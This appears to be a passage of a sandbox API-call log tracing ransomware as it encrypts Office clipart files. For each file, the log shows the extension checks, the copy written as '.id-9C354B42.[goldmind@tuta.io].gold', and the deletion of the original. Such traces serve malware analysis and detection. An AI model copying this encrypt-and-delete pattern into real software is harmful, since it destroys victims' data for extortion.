[0105.087] lstrlenW (lpString=".rar") returned 4 [0105.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.087] lstrlenW (lpString=".bz2") returned 4 [0105.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.087] lstrlenW (lpString=".7z") returned 3 [0105.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0105.087] lstrlenW (lpString=".dbf") returned 4 [0105.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0105.087] lstrlenW (lpString=".1cd") returned 4 [0105.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0105.087] lstrlenW (lpString=".jpg") returned 4 [0105.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0105.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0105.087] lstrlenW (lpString=".doc") returned 4 [0105.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.087] lstrlenW (lpString=".docx") returned 5 [0105.087] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0105.087] lstrlenW (lpString=".pdf") returned 4 [0105.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.087] lstrlenW (lpString=".xls") returned 4 [0105.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.087] lstrlenW (lpString=".xlsx") returned 5 [0105.087] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0105.087] lstrlenW (lpString=".ppt") returned 4 [0105.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0105.087] lstrlenW (lpString=".zip") returned 4 [0105.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.088] lstrlenW (lpString=".rar") returned 4 [0105.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.088] lstrlenW (lpString=".bz2") returned 4 [0105.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.088] lstrlenW (lpString=".7z") returned 3 [0105.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0105.088] lstrlenW (lpString=".dbf") returned 4 [0105.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0105.088] lstrlenW (lpString=".1cd") returned 4 [0105.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0105.088] lstrlenW (lpString=".jpg") returned 4 [0105.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.088] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.088] lstrlenW (lpString="J0105336.WMF") returned 12 [0105.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.088] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2900) returned 1 [0105.088] CloseHandle (hObject=0x364) returned 1 [0105.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 0x20 [0105.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.089] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.089] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0105.099] GetLastError () returned 0x0 [0105.099] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xb54, lpOverlapped=0x0) returned 1 [0105.101] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xb60, lpOverlapped=0x0) returned 1 [0105.101] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0105.101] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.101] SetEndOfFile (hFile=0x3a8) returned 1 [0105.102] CloseHandle (hObject=0x3a8) returned 1 [0105.102] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.102] SetEndOfFile (hFile=0x364) returned 1 [0105.103] CloseHandle (hObject=0x364) returned 1 [0105.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0105.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0105.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0105.161] lstrlenW (lpString=".doc") returned 4 [0105.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.161] lstrlenW (lpString=".docx") returned 5 [0105.161] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.161] lstrlenW (lpString=".pdf") returned 4 [0105.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.161] lstrlenW (lpString=".xls") returned 4 [0105.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.161] lstrlenW (lpString=".xlsx") returned 5 [0105.161] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.161] lstrlenW (lpString=".ppt") returned 4 [0105.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0105.161] lstrlenW (lpString=".zip") returned 4 [0105.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.161] lstrlenW (lpString=".rar") returned 4 [0105.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.161] lstrlenW (lpString=".bz2") returned 4 [0105.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.161] lstrlenW (lpString=".7z") returned 3 [0105.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0105.161] lstrlenW (lpString=".dbf") returned 4 [0105.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0105.161] lstrlenW (lpString=".1cd") returned 4 [0105.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0105.161] lstrlenW (lpString=".jpg") returned 4 [0105.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0105.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0105.162] lstrlenW (lpString=".doc") returned 4 [0105.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.162] lstrlenW (lpString=".docx") returned 5 [0105.162] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.162] lstrlenW (lpString=".pdf") returned 4 [0105.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.162] lstrlenW (lpString=".xls") returned 4 [0105.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.162] lstrlenW (lpString=".xlsx") returned 5 [0105.162] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.162] lstrlenW (lpString=".ppt") returned 4 [0105.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0105.162] lstrlenW (lpString=".zip") returned 4 [0105.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.162] lstrlenW (lpString=".rar") returned 4 [0105.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.162] lstrlenW (lpString=".bz2") returned 4 [0105.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.162] lstrlenW (lpString=".7z") returned 3 [0105.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0105.162] lstrlenW (lpString=".dbf") returned 4 [0105.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0105.162] lstrlenW (lpString=".1cd") returned 4 [0105.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0105.162] lstrlenW (lpString=".jpg") returned 4 [0105.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.162] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.162] lstrlenW (lpString="J0105376.WMF") returned 12 [0105.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0105.163] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=4964) returned 1 [0105.163] CloseHandle (hObject=0x3ac) returned 1 [0105.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 0x20 [0105.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0105.163] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.163] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0105.164] GetLastError () returned 0x0 [0105.164] ReadFile (in: hFile=0x3ac, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1364, lpOverlapped=0x0) returned 1 [0105.241] WriteFile (in: hFile=0x3bc, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1370, lpOverlapped=0x0) returned 1 [0105.242] ReadFile (in: hFile=0x3ac, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0105.242] WriteFile (in: hFile=0x3bc, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.242] SetEndOfFile (hFile=0x3bc) returned 1 [0105.242] CloseHandle (hObject=0x3bc) returned 1 [0105.242] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.242] SetEndOfFile (hFile=0x3ac) returned 1 [0105.246] CloseHandle (hObject=0x3ac) returned 1 [0105.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0105.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0105.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0105.247] lstrlenW (lpString=".doc") returned 4 [0105.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.247] lstrlenW (lpString=".docx") returned 5 [0105.247] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.247] lstrlenW (lpString=".pdf") returned 4 [0105.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.247] lstrlenW (lpString=".xls") returned 4 [0105.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.247] lstrlenW (lpString=".xlsx") returned 5 [0105.247] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.459] lstrlenW (lpString=".ppt") returned 4 [0105.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0105.460] lstrlenW (lpString=".zip") returned 4 [0105.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.460] lstrlenW (lpString=".rar") returned 4 [0105.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.460] lstrlenW (lpString=".bz2") returned 4 [0105.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.460] lstrlenW (lpString=".7z") returned 3 [0105.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0105.460] lstrlenW (lpString=".dbf") returned 4 [0105.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0105.460] lstrlenW (lpString=".1cd") returned 4 [0105.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0105.460] lstrlenW (lpString=".jpg") returned 4 [0105.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0105.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0105.460] lstrlenW (lpString=".doc") returned 4 [0105.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.460] lstrlenW (lpString=".docx") returned 5 [0105.460] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.460] lstrlenW (lpString=".pdf") returned 4 [0105.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.460] lstrlenW (lpString=".xls") returned 4 [0105.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.460] lstrlenW (lpString=".xlsx") returned 5 [0105.460] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.460] lstrlenW (lpString=".ppt") returned 4 [0105.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0105.460] lstrlenW (lpString=".zip") returned 4 [0105.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.460] lstrlenW (lpString=".rar") returned 4 [0105.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.460] lstrlenW (lpString=".bz2") returned 4 [0105.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.460] lstrlenW (lpString=".7z") returned 3 [0105.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0105.460] lstrlenW (lpString=".dbf") returned 4 [0105.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0105.460] lstrlenW (lpString=".1cd") returned 4 [0105.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0105.460] lstrlenW (lpString=".jpg") returned 4 [0105.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.461] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.461] lstrlenW (lpString="J0105398.WMF") returned 12 [0105.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.572] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=3328) returned 1 [0105.572] CloseHandle (hObject=0x230) returned 1 [0105.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 0x20 [0105.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.593] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.593] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0105.594] GetLastError () returned 0x0 [0105.594] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xd00, lpOverlapped=0x0) returned 1 [0105.621] WriteFile (in: hFile=0x180, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xd10, lpOverlapped=0x0) returned 1 [0105.622] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0105.622] WriteFile (in: hFile=0x180, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.623] SetEndOfFile (hFile=0x180) returned 1 [0105.623] CloseHandle (hObject=0x180) returned 1 [0105.623] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.623] SetEndOfFile (hFile=0x394) returned 1 [0105.624] CloseHandle (hObject=0x394) returned 1 [0105.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0105.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0105.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0105.625] lstrlenW (lpString=".doc") returned 4 [0105.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.625] lstrlenW (lpString=".docx") returned 5 [0105.625] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.625] lstrlenW (lpString=".pdf") returned 4 [0105.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.625] lstrlenW (lpString=".xls") returned 4 [0105.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.625] lstrlenW (lpString=".xlsx") returned 5 [0105.625] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.625] lstrlenW (lpString=".ppt") returned 4 [0105.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0105.626] lstrlenW (lpString=".zip") returned 4 [0105.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.626] lstrlenW (lpString=".rar") returned 4 [0105.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.626] lstrlenW (lpString=".bz2") returned 4 [0105.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.626] lstrlenW (lpString=".7z") returned 3 [0105.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0105.626] lstrlenW (lpString=".dbf") returned 4 [0105.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0105.626] lstrlenW (lpString=".1cd") returned 4 [0105.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 